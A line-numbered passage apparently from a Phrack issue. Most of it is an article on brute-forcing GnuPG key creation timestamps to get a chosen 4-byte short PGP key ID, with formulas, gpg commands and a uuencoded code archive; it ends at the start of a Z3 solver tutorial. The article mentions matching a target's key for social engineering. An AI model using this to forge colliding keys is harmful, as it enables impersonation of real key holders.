1687 4 - Conclusion
1688 5 - References
1689 6 - Code
1690
1691---[ 1 - Introduction
1692
1693Everybody should be allowed to have his (or someone's) own PGP key ID. Who
1694doesn't want his PGP key to match his favorite hex nickname or his
1695target's key for some cheap social engineering? I certainly want, so I
1696started researching how they are derived and if they could be bruteforced.
1697
1698Note: when we speak about key IDs here we mean the 4-byte short ones that
1699everybody love to use. However, given enough processing power (or maybe a
1700SHA1 ASIC|preimage attack) the process can obviously scale to any key ID
1701length.
1702
1703-----[ 1.1 - Prior work
1704
1705GIYF, right? Well, a couple people tried this and lived to tell the tale
1706(or, well, decided to make it public) but none of them permitted me to get
1707a 4096 bit RSA key as I wanted it.
1708
1709In May 2010, halfdog posted on full-disclosure [1] some Java code that
1710worked on DSA keys. Not exactly fast or customizable, but hey, it was 3
1711years ago.
1712
1713Then, in Dec 2011, Asheesh, a Debian dev particularly fond of his key ID,
1714found a way to create a new RSA 4096 key with that ID (and a bug in GnuPG
1715handling of duplicate keys) [2]. He highlighted the disruptive potential
1716of that and decided not to release the code. Bummer.
1717
1718But the keyservers carry even older evidence (even if one shouldn't trust
1719the key creation field, especially on these keys): the first example of
1720custom IDs I could find is
1721
1722 pub 1024R/A69AB99CDEADBEEF 1995-09-28
1723
1724that actually employs a old packet type.
1725
1726So we are not doing anything truly new, but there's still not a public
1727method to get an arbitrary key with an arbitrary key ID.
1728
1729---[ 2 - The spec
1730
1731So, let's get our hands dirty: grab the OpenPGP spec, RFC 4880 [3], and
1732look up how are those key IDs derived [RFC 4880 - 12.2].
1733
1734--------------[ RFC 4880 - 12.2. Key IDs and Fingerprints ]---------------
1735
1736 For a V3 key, the eight-octet Key ID consists of the low 64 bits of
1737 the public modulus of the RSA key.
1738
1739---------------------------------------------------------------------------
1740
1741Woah, that easy? No, it's not. Version 3 keys are deprecated [RFC 4880 -
17425.5.2], for a bad reason - key IDs collisions, ahem - and a good reason -
1743MD5. So, as we don't want to build our new shiny RSA 4098 on MD5, let's
1744move on to V4 keys.
1745
1746--------------[ RFC 4880 - 12.2. Key IDs and Fingerprints ]---------------
1747
1748 A V4 fingerprint is the 160-bit SHA-1 hash of the octet 0x99,
1749 followed by the two-octet packet length, followed by the entire
1750 Public-Key packet starting with the version field. The Key ID is the
1751 low-order 64 bits of the fingerprint.
1752
1753---------------------------------------------------------------------------
1754
1755Great, so what's in a Public-Key packet?
1756
1757-------------[ RFC 4880 - 5.5.2. Public-Key Packet Formats ]--------------
1758
1759 A version 4 packet contains:
1760
1761 - A one-octet version number (4).
1762
1763 - A four-octet number denoting the time that the key was created.
1764
1765 - A one-octet number denoting the public-key algorithm of this key.
1766
1767 - A series of multiprecision integers comprising the key material.
1768
1769---------------------------------------------------------------------------
1770
1771Note: numbers are big-endian [RFC 4880 - 3.1]
1772
1773So the variable parts are the creation timestamp and the key material. The
1774key material is a bunch of algorithm-specific MPI [RFC 4880 - 3.2] which
1775can't be tampered with without changing their value.
1776
1777One might also try to add garbage to the packet, but implementations strip
1778it. Bummer.
1779
1780---[ 3 - The attack
1781
1782Great, we know what constitutes the key ID, and we know that we can tamper
1783with the key creation value and/or with the RSA/DSA/Elgamal parameters. I
1784decided to only loop through the key creation field for a simple reason: I
1785don't trust a crappy tool written by me with RSA primes selection, in
1786particular in a scenario like this where a lot of different primes are
1787needed, as skews can lead to disastrous consequences [4].
1788
1789After all entropy usage couldn't be optimized much and at least this way
1790we have the peace of mind of GnuPG generated keys.
1791
1792So we will simply build a bruteforce on the key creation timestamp value.
1793
1794-----[ 3.1 - Preparation
1795
1796Ok, let's dive in. First of all fence your GnuPG env, to avoid cluttering
1797or damaging your own.
1798
1799 $ mkdir -m 700 GNUPGHOME && export GNUPGHOME=`pwd`/GNUPGHOME
1800
1801Now we need to generate a pool of enough keys to have a fair chance of
1802finding a match, but how many? Well, obviously it depends on the number of
1803seconds in the time frame we consider acceptable for the key creation time.
1804
1805Let's dive into some math. Since SHA1 is unbiased each try is independent
1806and for each try we have a fixed probability of finding a match: one into
1807the number of different possible suffixes = 1 / 2^32.
1808
1809So, the only thing that matters is how many tries we can do. This number
1810is s (seconds in the time frame) * x (number of keys in the pool).
1811
1812The probability of finding a match in k tries is 1 less the probability of
1813failing all of them [5] and this last is (prob of failing one) ^ k =
1814((2^32 - 1) / 2^32) ^ k.
1815
1816Here are the final formula and a handy table:
1817
1818 2^32 - 1 s * x s = seconds in the time frame
1819 y = 1 - ( -------- ) x = number of keys in the pool
1820 2^32 y = probability of a success
1821
1822 +--------------+------+------+------+------+------+
1823 | frame \ prob | 0.50 | 0.75 | 0.90 | 0.95 | 0.99 |
1824 +--------------+------+------+------+------+------+
1825 | past | 3 | 5 | 8 | 10 | 15 |
1826 +--------------+------+------+------+------+------+
1827 | 5y | 19 | 38 | 63 | 82 | 126 |
1828 +--------------+------+------+------+------+------+
1829 | 1y | 95 | 189 | 314 | 408 | 628 |
1830 +--------------+------+------+------+------+------+
1831
1832For a fancy 3D graph you can plot the probability on a (years in the time
1833frame X keys in the keypool) space [6]:
1834
1835 y = 1 - ((2 ^ 32 - 1) / 2 ^ 32) ^ (60 * 60 * 24 * 365 * a * x)
1836
1837GnuPG has a convenient function to generate keys in batch mode:
1838
1839 $ gpg --no-default-keyring --secret-keyring ./secpool.gpg \
1840 --keyring ./pubpool.gpg --trustdb-name ./trustpool.gpg \
1841 --gen-key --batch batchfile.txt
1842
1843 # batchfile.txt
1844 Key-Type: RSA
1845 Key-Length: 4096
1846 Name-Real: Filippo Valsorda
1847 Name-Comment: f1los0tt1l3
1848 Name-Email: f1los0tt1l3@phrack.com
1849 Expire-Date: 0
1850
1851Note: it does not matter what you set in the Name-* fields, as we are
1852going to discard the uid to create a validly signed one later.
1853
1854Set it to run the number of times you want, maybe plug in haveged [7], a
1855Geiger or a radio producing white noise and... uh, go grab a coffee.
1856
1857-----[ 3.2 - The crash
1858
1859Well, now we have our keypool and we need to bruteforce the key ID out of
1860it. I wrote a Python 3 + Cython parallelizable implementation, crash.py.
1861
1862Compile the Cython module with (you'll need Cython and OpenMP):
1863
1864 $ python3 setup.py build_ext --inplace
1865
1866Note: clang and old gcc versions panicked, I used gcc 4.7.
1867
1868Then start the bruteforce with
1869
1870 $ python3 crash.py pubpool.gpg NEWKEYID [0xTIMESTAMP]
1871
1872where 0xTIMESTAMP is the lowest limit to the creation time, if any.
1873
1874Want to know something cool? The only thing needed to do the bruteforce is
1875the pubpool, so you can export it out of your crappy airgapped system and
1876perform the number crushing on some powerful untrusted machine.
1877
1878You will hopefully get a result like this
1879
1880 Current fingerprint: 9b179a2af2f8a744b2214de4eec578f57e61d52a
1881 Current timestamp: 0x512187c9
1882 NEW fingerprint: d8efd70f8479432e9158ac27eb56af7c42424242
1883 RESULT timestamp: 0x1b550652
1884
1885------[ 3.2.1 - Runtime stats
1886
1887The bulk of the heavy-lifting involved in this bruteforce is making the
1888SHA1 hashes, and one of them is done for each timestamp tried. The number
1889of tries is clearly independent of the width of the time frame, and grows
1890with the probability of finding a match. The two - probability and tries -
1891are bound by a simplified version of the formula above.
1892
1893 2^32 - 1 x
1894 y = 1 - ( -------- ) x = tries / SHA1 hashes
1895 2^32 y = probability of a success
1896
1897So what matters here is what SHA1 hashrate we manage to get. The crash.py
1898Cython implementation is quite fast, and achieves 3.0 * 10^6 h/s on a
1899quad-core 2.3 GHz i7 or 8.3 * 10^6 h/s on a AWS EC2 cc2.8xlarge instance.
1900
1901Note: this means that a matching key would cost you $0.50 of Spot Instance
1902as of April 2013.
1903
1904However, much better can be done: the oclHashcat-plus guys claim a 3.081 *
190510^9 SHA1/s on a AMD hd6990 GPU [8]. With an hashrate like that, a match
1906can be found in a matter of seconds. Writing a high-performance CUDA or
1907OpenGL implementation is left as an exercise to the reader ;)
1908
1909Here is a reference table of running times:
1910
1911 +----------------+------+------+------+------+------+
1912 | probability | 0.50 | 0.75 | 0.90 | 0.95 | 0.99 |
1913 +----------------+------+------+------+------+------+
1914 | tries / 10^9 | 2.9 | 5.9 | 9.8 | 12.8 | 19.7 |
1915 +----------------+------+------+------+------+------+
1916 | runtime on i7 | 17m | 33m | 55m | 71m | 110m |
1917 +----------------+------+------+------+------+------+
1918 | runtime on EC2 | 6m | 12m | 20m | 26m | 40m |
1919 +----------------+------+------+------+------+------+
1920 | runtime on GPU | 1s | 2s | 3s | 4s | 6s |
1921 +----------------+------+------+------+------+------+
1922
1923-----[ 3.3 - The patch
1924
1925Now we have to patch the key. patch.py, incredibly, does exactly so.
1926
1927First, export the secret key for which you had the match
1928
1929 $ gpg --no-default-keyring --secret-keyring ./secpool.gpg \
1930 --keyring ./pubpool.gpg --export-secret-keys OLDKEYID > privkey.gpg
1931
1932Then run patch.py on it, passing it the "RESULT timestamp" from crash.py:
1933
1934 $ python3 patch.py privkey.gpg TIMESTAMP > resultkey.gpg
1935
1936Finally, force gpg to import the key even if the (invalid) bounding
1937signature has been stripped:
1938
1939 $ gpg --allow-non-selfsigned-uid --import resultkey.gpg
1940
1941And restore the bounding signature by creating a new uid:
1942
1943 $ gpg --edit-key NEWKEYID
1944
1945 gpg> adduid
1946 gpg> uid 1
1947 gpg> deluid
1948 gpg> trust
1949 gpg> check
1950 gpg> save
1951
1952Note: don't create the new uid as an exact copy of the old, otherwise
1953deluid will delete both of them from the secret key - it's a GnuPG bug.
1954
1955Done! You now have your new shiny PGP key with a personal key ID. Export
1956it to your main GnuPG env or whatever.
1957
1958---[ 4 - Conclusion
1959
1960Have fun, there are still many interesting uncatched key IDs out there:
19610x11111111, 0xabaddeed, 0xaaaaaaaa, 0xg00d1dea, 0x27182818, 0x14142135...
1962Please just leave 0x31415926, 0x42424242 and 0x13371337 for me ;) and
1963don't (publicly) duplicate other people's keys.
1964
1965Finally, I know what you are searching for: the option is --keyid-format
1966long ;)
1967
1968---[ 5 - References
1969
1970[1] "PGP CPU time wasta (never refer to pgp key using 32bit key-id)"
1971http://seclists.org/fulldisclosure/2010/May/120
1972[2] "Short key IDs are bad news (with OpenPGP and GNU Privacy Guard)"
1973http://www.asheesh.org/note/debian/short-key-ids-are-bad-news.html
1974[3] "OpenPGP Message Format" - Callas, et al - November 2007
1975https://tools.ietf.org/html/rfc4880
1976[4] "Cryptanalysis of RSA with Small Prime Difference" - B de Weger - 2002
1977http://www.enseignement.polytechnique.fr/profs/informatique/Francois.Morain
1978/Master1/Crypto/projects/Weger02.pdf
1979[5] Complementary event - Wikipedia
1980https://en.wikipedia.org/w/index.php?title=Complementary_event&oldid=545752
1981375#Example_of_the_utility_of_this_concept
1982[6] y = 1 - ((2 ^ 32 - 1) / 2 ^ 32) ^ (60 * 60 * 24 * 365 * a * x) with a
1983from 1 to (2013 - 1970) with x from 1 to 200 - Wolfram|Alpha
1984http://wolfr.am/YxKsTU
1985[7] haveged - A simple entropy daemon
1986http://www.issihosts.com/haveged/
1987[8] oclHashcat-plus - advanced password recovery | Performance section
1988http://hashcat.net/oclhashcat-plus/
1989
1990---[ 6 - Code
1991
1992begin 644 gpg-crash.tar.gz
1993M'XL(`#0D8E$``^U<^U/;2+;>7^._HI>I#1(1CN47!$*V@"03:O.@@%0RQ;(N
1994M66YC+;+D*\D8SVSNWWZ_<[KU,D*9S-R9V7O7JDI`W:=/G_[Z]'ETMW`C)YXT
1995M9\L__89/J]7:Z?4$_^RKGZUV5_W$TVO;?6&W[4ZK:W=V=EJB97?;G=Z?1.NW
1996M%"I]YG'B1!!E[/EA'":)Y\M*.I"-QS5\U%A$]O/_R//=G\73>1P]'7K!4QG<
1997MBMDRF81!I]'8V-AHS&/G6NX)5^N(F,V'LS#TF]>S:P'4KF4B+GUOZB57C4:Q
1998MSHN%(TZ_/Z4&ON>*&[F,O."ZH=N@.IE(,9*Q%\F1B.?CL7=GB7`LG&`IY*T,
1999MA"^#ZV328.8IO1\N9)R(Q)OBAS.="<>GHI%P8H@HG<0+`S%R$BF\0$SDG3!&
2000M<NS,_61/M$P>3\.;SL(H$1BL$[N>E[['RSC[-8GF;I*^33!PWQMF#<=.G`P8
2001MCD9CX243$<YD8*!Y$R.[O;2O++$9#3=-$FF\UQ!X()`C#L2X"0E'AIEB<)`)
2002MT9P'$-;WQLN<4?NJ*0,W'$G#-!NA/Z)Q'PC#"Y*<IH/.ADXL#^R^*;PQ0995
2003MFN*%Z`CIQY*&SF-_(R/),!);8!G."-4HG%]/Q,QQ;V02$VY$H:=28$E(3,E(
2004MC,-(2,>=B%.>S^V_R65#M4'3.)8TW8F<SGP"/PF9R3$K$GJ;SL`&/.:!RS.4
2005M8]@<>\'(`K63`$W?%TFTI$GE]MDT`\DHG(H@7!!K!88EY@%6JH!R+#WICT@`
2006M,+N6T0R*EC1D,,(;CX?A;HK#A+F.O0A03IW$G5AB`3`FTKWAFDC&4!5+,`-B
2007M3`.7=UZB)MH1\13C:&H]PFRT&HL)`>2)YXP]3;2IYOP[\9KZ`3,GBA7J&JX)
2008ME$!&XO+L];'H[NZVQ+;H-MM7W.KTPKD&7^)SZ:DB3SPY$#;_2CA#`YGHL6C=
2009MH2WZ.8*@.V)[6QSZ"V<9BS"01>H@++3H9BWZU.*]7*1287X!"2E1+!-NG[`H
2010M1M:VXT*E7HBVYA"+WG:;F&@&(.=F:MD.DN5,HGG>.FMF;[>HF:+;)KJBN,7F
2011MF#NC90G;$FU383$NL\<,*+05X@3E10%HAW0"<&R';B)3ULVL@7I?@7L%<NG?
2012M[],N]FE7]9DLPJ_UJ8P,%CXU-#9?O-FTM!Q[Z%ZTK\S+UHI$[0<E:A<E:E=)
2013M-`[GT;>*=%(6J5LA4K?![\-PM,QP9&+%M*#!VIJGT\C*=2#Z1<%SRR).E>P&
2014M:0],6W&M])J]=+44U(8D@'3$LTN\#@OS?BNCF*Q.,)\.L?",KMDH]'I8Q$:3
2015MC"16#5F/U`JQ@>(W^#&Q2+V-'.4PYCZI&DF6T-ZS<R2SILI%#O2$'3!IH9:L
2016MD;%Y/(\B";-4L'%[8*O=4S.>.+:A^]6]'I%.M>Z>/;,R7GJ^C5*/I@F9RB5-
2017MN*.1=XT!D?=Y0))LQ"R'O#.R`K.$\'%JSS-_,&(700XH\S^YK<]:*G-,CK/L
2018M+O[7AFEIUV!IEU*0&BJJNM\K,9U%$G%*/L.9"$>I#!7]4DVK:Y88J8`'C$JD
2019ME[V]JY7^&/'WKSZ5YEUL8BBEF=>"/2FUYHY*@I(BJG$1&$J(!R:[T/W9J_./
2020M;R\*\ZWZQXQK7N56Y#&-5@%,"D)6<53C@A+,W9L_;X*86]EFXX^.AO_SGL+R
2021MFBWO?IL^D`_UN]T'\[]^Q]Y1^5^GW>MT^LC_>MUN>YW__1X/Q]:P)&X3QH*\
2022MGJM3G:F<NM.9Q3]GRP;3N6S#84\B6'7I9[2SR(%]XG"7*QI%KB/\S"B=(?X'
2023M4TK=7`N1O919<D4FYEZ&UG"1Q,&J)#(*5"*P03:O.=E01N4V]$9BZ-\,SM\<
2024MVH.3`'9$OPV.+SZ++3>Y,Q$&7WM^!?G'&:6+]QI8\%(!T@0FWJ+`YB3(_<L\
2025MB+WK`!F-'P(N6/R'^;_&*'PC:^!.G(@M=SA/+MLMRM\>$)5YN13AT>B5&2\2
2026M[STD#?T7>S_*^_64U;RY[%U5UWRZM/L(2J@W]K(/^$C5+Z5`]/-B@LR<<_W(
2027M@8N/V%>GCAX3Z<LI0@65EZL8RKDIY8K,14<^E&XYE.,+E?2'03D-M)@BEDZ$
2028MG"WFE+2<\[&SN9?WG5#,BR#0@8M+19O";7G;LRAT98Q@SIDY0\_W$D^J\,/X
2029M@*3^W:G)'<XINR5!OH=,QX*F=65HS0P3G?N]PR@%SUT:?<:TMT%,O&`VQU"C
2030MZSDU5]VQ@I-J;&DH!JPG!_HMIZ%Y'20I$11/'*B`0T4:J\P4`BDS]7:/F2;*
2031MF:F"`C/2#C*1%(O19#3I/V.%0$W9@5:3%(C32,(B(!E12,MXDWS_+6T2W#J1
2032MYPQ]68"@I(]NB`1?1@_48MJ]>((7RL+ODZCQZX7V`"RS\"'T89@</Z\KK+HM
2033M+,D[-3C>$^"UFEL]PRPF-&?2EXY._K\_>:NV$VA,7%)6P=@-D0@7\Q(RCX13
2034M!70PR&&TS(@A$F!X7K(D+[2!-6B6PW'1P!7"-82YW/A`O/_X]FTY1F,[;13"
2035M.(TF=56V9_<ZHU)3;(EVJ]15QJ"NNR("Z`,K?!9Z"C2UJS24UUX0T!K7*TIO
2036MI^F06FU@%=@4#`2;#+)0X$:[4M#`&,:`9[*P5O*<+E,4&G0ZUG08R-(I(<W7
2037M3R%G*^A1L6DU3/ER+L%59O+S,#L-9W/>@D-.FZD+5&N9@97NT15,"SW*QQO/
2038ME<-[4>K<$JO%)+E5DCMC1!#KI4MSH>("@\V'I8R$);;M<JYV_XEAX4=S7QYL
2039MQF1B7>0M[F0>W!!R!S;'5V89B^_$^0P67,C_F@/D9=ESB!BR2N&X48BUEJTH
2040MBR14?%=X`2W5BS"<&>COF%\L$16,>)/4$2-G:2JS2+K(<4E1\12?:0AW&$F7
2041M3+T8A8L@U6*]H\N`-%<:G6!U48I,OI63Y#2!YLQ9;Z?&Q&DVAVT];C9*#+QQ
2042M9AWW[L'\G?C!65HB#J<R#"3M?;#3U=NA0\?S16HQB\\PDLY-8Q5PF:S`G.X>
2043MEW6+GJ(^77:OL"A2):$]Q>[#M+T56KO_,&U_A5;L/DR[LTK;6AW>&ZSSXL8M
2044MF>]KF6XBEZ..#*=2&$KA7'6U#CLYTGQ@S559A1(/%5IJ:V0)[FQE"$R"Q:#V
2045MN*$8M$!(@Y7)NW<"LZI'*@,P<CMH%>VD5;!]YLIN;/H8CU-=-'E_+G/KN<%`
2046M`E!&BDOTN%9*BQ#IT48RF5-BH+M9;R!\ZS.CM?_'GO]V._V6SO_[';O=YO/?
2047M=G^=__\>S\\Y_TUUA&.*&[E4Y[^IW6\TBL64#@;(URF+AV7A0V`=B8"D4?`6
2048M*JT*Y*+L0B;R[E>>U?["@UE(,BCNXW_E?!:YC8^PPMALW2$^V=PT"R>VWWS@
2049MFB.DH>.S5TLL)DC,O`1Y>2+=A%+G<^G"YO$YB?9,L.KQPIDI.+-S\'PD*E4I
2050M#JY!SDRS%@76B+B=A(**G//(BUTGHJ@'3L:A'WRF-)1H/'5&LN$%MXY/>QX(
2051MNL!:\AY2YF#N2=ML("&'94<:'!>.7:D1:QE4Y@$P*.*)DQ':_KPS6.TLTM35
2052M2Y/2]<GL^F3V/^1D5JNT1K*X(/8TK+_X[+8TM-QP%(]NVZM'M^VKXA;'2V59
2053MV+`LD)VA]748!([0%H7O\>3Q-7(O6(FY7!6D5Q(D-S=%27KW#Y$[!5G^;4Z1
2054MD18.?L5),NTYL4\JYV59O9[LX>;?[UI=.L0K>[PGFC=QWKNZ=P2M>8](RIRY
2055M/OPM26["'9('V%S-\XFR:DPE.6A,X$`F_X#\+6R^C"*-MRX@)S!$SB*CYB+R
2056MD$HI33=K:6ATZQ/&U0=N93[[[>/_NO._5J]G4_S?;N]T;"*D^'^GLX[_?X^'
2057MMZX0Y25SC#QNNB'L<!I>DVHT5@CH)"Y@6ZBI7J4%BE(=L31?I@U2LN'<@XU`
2058MZT8CAK%TY9BWL0[$Y6;Y")J":3[A<S>O&J`?3$/:"P1EUI.QD3?9H.VLC)^R
2059M.&@5.0.]539`P!X?7&YNCRDE@,6Z*A+Y7G!SGP+6A@=OJ&.`Z<CUX20@PD^;
2060MV3@V]_(Q?<E8:FEY8/GK5>/?UO`HJ'_;/NK7?[O=[O;4^K=[O1W\WK([O?[.
2061M>OW_'L_3K8;84L>:2$T1L4BDSG#&WH]P]4BY1J%8A`C3'%?MFJ='O8AF`B1]
2062MB<QJ+&)$F25:.;RK.0\"275.M*1C"$]2PJNWP"F>PP)!W!<Y2X1`+`8?*%-H
2063MY`5>XO'F)=UP'J6'P>_"'SW?=ZI.89&=^K`\2*Z)44#;V_K0(XR\:]H)S5IS
2064M/A[)J>,%<=KS<3A;@FZ"B/'8%.V6C7QJDB2SO:=/K[UD.W:G,(W3IRQD&-YD
2065M._X"M72D\$_DT-H0,7].EB$`&M')J!RZ8Z?;[;K=XDC1[CIRIK050ON;:#].
2066M%@B$]\4RG`L7`$>2+&_D#><<#1.\3\.(&,"P>.,EE<V#D3Y43&0TS8Z:OW__
2067M47PO`QEAY.IRI7CKN3"@DN<I5I?/^!1UJ`Y,7I,,YUH&\9H.!QC:?2$]GO,T
2068M"FX3!]V-YFD!9F$@P%W2V1-I4!B8?)V?SINRILT'AI^/<I3NB4Q@C%7,C#'R
2069M[?"AI-/X\=QG30.Q^'1R\>;#QPMQ^/X'\>GP[.SP_<4/^[S[0$=T_"$!G[I#
2070M4SQP7I"R!0D=AQ&'=Z_.CM^@R>'1R=N3BQ]H!*]/+MZ_.C\7KS^<(:H_/3R[
2071M.#G^^/;P3)Q^/#O]</ZJ*9!C2'74LU4#,1^$3<F7CF3BD-_4`_\!$TM;VXBA
2072M)\ZMY-,A[Y:^82@=U'UE\OB:A]YDR8'<I[0(60?R*0IXT\.FTK12\WQF+7$2
2073MN$U+(/YZ#61NX`W%>0)Z\'CMC<'_M1^&D26.PC@A\G>'0K3:MMW:MCLMVQ(?
2074MSP]I9$\;C>^\P/7G6%C/U3VBYN1%H<R)9LY3V):$BO/R]"H/%8T!U1@D(V,P
2075MP/"/!P-3/'[,WW#H4J^SVZ?2?_VK0'J'LGX7Q?#9RI:]#FD1\M8EP1F%/LUL
2076MA'_0\UCZ6*EI7D96(MNKBNE\EL^&`]CZ@`[FMNCZR``+<2"N>3:`:NR3F8!E
2077MRNDQ$L/)VO'Q(2EU/),NC!B2F2$=JFV)F8PFM%$WS8,LT/NTBC<QBV$<>T.\
2078MZ3-J+#1:/W.Z\*(6PBBDVS/$*0H3DD5_F4![B^DT*&3(0@X.S]\9X<P2=\BP
2079M3&'\5+Y#,1A$,M['#R>>#@8@%!OB+[;UE];&WL9!M"$,)C#W-CS\'F`0&RW\
2080M<F>:^VG3+V:IN[,/;XT[*S`?I7UO`/H-W?T*Y=D]RBBC;'Q'5T8;*RTNC,^6
2081M;T7F(\,P/IOB^7-A^"9T0?#KBQ?"B$SSOD"?TVX4A\#JM+<QFOORK!`J,DN)
2082M$\#4IMIU,F;CS(NWT\;ZO?9HMF*A%[REO1O'GA$;<8,O+O&B-XD%?>6"M>E.
2083MZ'"<R=D)7E[E3I;=9,:[*=Z$"[K$!"L;L/%WW`F$UR=Y/ETA87_\W^U>WDI]
2084M6`/O'6S2*31[4[CRF\Q/.[3I1#>VKEU76=@IW5P"GWDP"4$])<8AG1NFYNL\
2085MS+T[<V>2Q<2#BOX3D1161[@@8;#"U)$W;^Z,:4GRT&F=)8")#[#531;FZ";J
2086MX![K`S&X,-!HRNYX2'<^$EX/8[;:6N<W/QF)>6#<8GWM0X.-#:CMDRDTE,K-
2087M3>J)%AF6I'1&Y(VI;3R_IIO.RN4=1@E<U?F-LT!T0%<Y&"V"P?'C4&%!R,P#
2088MNJ@$*0MS-U*F-?9(YHTT8!+.PH'#"YU1O$$;S"2]Z\!GL0NC>6`A8(X7Z5X0
2089MY)_+U+V9*<Q'@."-I(OVL3N9>B.:/[(6L1(2EN'T]%AIVG'FE:%S@-5%%*N@
2090MUE<-LF`.*!5\AN%)S8?U><1:LB#SQ9]C@<'F;0C?#2U&1A;#8DN-*04'?IBP
2091M9F3*EHG^(1"'9^]HTM/3\B%==6`CJ6TH"0O\22G($#L"+MU/E6&(M>!)#G$P
2092M[PLZ9^`OS]32_/C^)=8`R;'P8C4]I#$>9H&Z`XXC-<8893YS#T:YXCDN16[.
2093M5/+U-_R'P(`/&7P2C]8$3#1ON=-PK\G<JFL;=%8>(5[,G%W16]7[)62&J:U!
2094M3OD)AH\F'?9XRT@!+AOF+?,QJ$S:Y"="D^SA0]XQ+W2B:4UGT->?1)%K;OBQ
2095M</;V-A3Z&RC_(M21"EWB5Y;XH0&L2EDTDZ<%'+.%#+BCD((=3T4YQZ<?!7DW
2096MCTZ@:/L8>OGA;SR!Q`,+SU>PP!H/L81X9>F+HGS5%%9RXALF'SK>(LRBA<IN
2097M^T.F(F.Z/C.DB<>"X'PEYQ)/$..DYHOB*'+(8)%92`K,<V=<D%1;7JVS+"9E
2098M(F@0SV7\"[2$BO^NCB73RG>#D\^[_7*#=X//_6X5\6`V<^]Q1]E#S`<S>)2H
2099MJHTJ?[!=W'G6NM>("N](_3*W2A=#AK+3-F;F(S5+6\:*EANS@AN>S5-Z:)?Y
2100MB/6UJ@7T;8)(U#=N5U1U-6HH"F!@%(\@P,I-;,7PB6AQ.-$F7.L);2:DSVV_
2101M0MAF0K'[5<*.(H0$]5"`R4KP=LLK#R"@JFYD!TS+UZSJ:>T"K=VOIVT7:,5N
2102M/6VG2-NZ-VFIT5`I(86,/IPGK(1*:7NV6OH<(=&J2E%BXV.HP`F_/K9[5UD&
2103M\(G]%.U<Y%Y(Y^:4M_^5S^'4E\!V'[Y9.Z68B=$9$:5.0]W8I@,R2]]7N$/4
2104M0U=-DWP3H"2E6OW%^/+\[!A!2:Z2]Y`20S^$A7HB0+;5+0>G[TX^4^,TH/UD
2105MX.V)#53_(=3ON_FO;?4K?75FF_NK(32<IY%8:D26&`=6EK)8XA`YGB404\"_
2106MOM+^8E7I+EZ].Z63=&J//O:5.T!CJE":^(I.#)GN22;QH=4C/3#&`?](^U0-
2107MCL`P#<&/Z$!Y54'T""X&K8'=,^Y+6AZ;1MM"5F`<_^.E^?C(Q/^"/L+K.;OM
2108MG6?TD5Z)0V'A70SL_L!^5M')O3XP*;^TCW9KT/F&/H[^<9QR[\O1,SET[#KN
2109MW=:@]RTC.'I\;#XQ7CZF?I`_<3^[8WLX=$=N73_]UF#GEXP"[%VGWW;M4?\^
2110M^X:Z[KOR$<T1K8VO?*/#Z\=L_+2BL8?6D75LO;1>[:]4*+MA]Z^P2!X=TL7$
2111MY&[[Q9O+%@I8)_6[3>_'^7N;WE_F[QUZ?Y6_=YDAK-D97ZVE6P@%\]+:AKE)
2112M^.N0B?0B;5O8BFSR"#;)<CS2NBY:J^CNYW50@E?%ZF)=6Y%GU<6Z3L9-51?K
2113MNL7.4%VLZ]7(TJ^19:=&EMT:69X]+(M=@XM=@XM=@XM=@XM=@XM=@<O*_-/V
2114M7U.<Y%.=.@LX$4Y04L_V*+4_=C6@NK(:45U9#:FNK,"T(&M;RZ#L4[L:9%U9
2115MC;*NK(995U;CK"NK@=:5U1JH*ZL1TY75B.G*:L1T9;46JLI.'4*=.H0Z=0AU
2116MZA#JU"'4J4.H4X=0IPZA3AU"G7J=ZFB=4EZI6XV8KJQ&3%=6(Z8KJQ'3E=6(
2117MZ<IJQ'1E-6*ZLAHQ75F-F*ZLUBE5V:M#J%>'4*\.H5X=0KTZA'IU"/7J$.K5
2118M(=2K0ZA7KU-=K5,J`NE7(Z8KJQ'3E=6(Z<IJQ'1E-6*ZLAHQ75F-F*ZL1DQ7
2119M5B.F*ZMU2E7NU"&T4X?03AU".W4([=0AM%.'T$X=0CMU".W4(;13J5-9T$=9
2120MR^%^5F!SP5%>T.:"X[R@PP4O\X(N%R#._-)H_)Q/TBE4Y::\$7F`Q%CI^(DZ
2121M^*;"-_G1U-2Y1EB<9DZQ,&@/^?7)Z;F]V]+?W.DJDU='/K`#RAMVNKUVIV67
2122M!D@5<NR.G.'NL])`J>+9[M`9N6-9&C!5V/0G&KH[_=+`J<+MC-K2'K<J`/C9
2123M']E;%9_6WPOI4?@IC;<9N\>BW\DFDTO4I=74:$AGI/9OZ;H_GZM\4CN]^MM;
2124M#KQC.A`'E=I&YOUHPM$;"X,Z-`7$6)5C3-?*^UW!=Z8_`9&4G.^BCQ,3)8\T
2125M&<OSZ)'^SI+'0*FPROY9\D^6WF3@ID2L1YI2<[D>+5>*[0,NI%?]+8.ALNMT
2126M6X%+G^0<L^&09.K+*2I>R;34W+!,U.I+XY'.QZG/%S1D!4=5,[Y__U6!P*$P
2127MAGY7]:*E,W.<5H$)S`KU^O:_L4`ZI3--)5VY\<P97?99K7]2E_F_K&:/H(`P
2128M*AGD/Q:G=>W4&:7'4_3Q2+1$`D#G+,3%Y.VC0/PHHU#&^D7?\295TSQYR:H=
2129M3F,.WIWV(#&-7+=I(^^92?#I!O97&CQ_+CHF6SNO8MD\JOPF<48G9C84M-\!
2130M'8(`2F--[O4A>HABB=W44W_@#SQX&GAP9*(,_EYCGS_5Z.''DR<TT]EF9_Y=
2131MM;?5M=)\VKOB*?^C+TG]/W[4#8S?MH^OW/^%1^D4[O^U^?[?3FM]_^_W>-;W
2132M_];W_];W_];W_W[M_;^5OU55#-O+?YEJ-9BBOTFU6O9);<U_*<9N^S\OL=K_
2133MI=G'25"5?ZRR^_9H<W\=O:R?];-^UL_Z63_K9_VLG_6S?M;/^ED_ZV?]K)_U
21348LW[6S_I9/^MG_:R?W^_Y'V5<-G8`>```
2135`
2136end
2137
2138
2139|=[ 0x05 ]=---=[ How to cheat at maths - chown ]=------------------------=|
2140
2141
2142|=-----------------------------------------------------------------------=|
2143|=----------------------=[ How I Cheat at Maths - Z3 101 ]---------------=|
2144|=-----------------------------------------------------------------------=|
2145|=-------------------------------=[ by chown ]=--------------------------=|
2146|=-----------------------------------------------------------------------=|
2147
2148
2149--[ Introduction
2150
2151Welcome reader. I am writing this small text because it has recently come
2152to my attention that a lot of people significantly smarter than me are
2153intimidated by the mention of Z3 and solvers in general, and avoid using
2154them. I think it is a common mentality that Z3 requires some kind of maths
2155degree as a prerequisite for its use, however for me it is the complete
2156opposite.
2157
2158Hopefully by the end of this small guide you will see that Z3 can provide a
2159trivial platform with which you can avoid doing most of the complex math
2160work which is associated with exploit development and reverse engineering.
2161
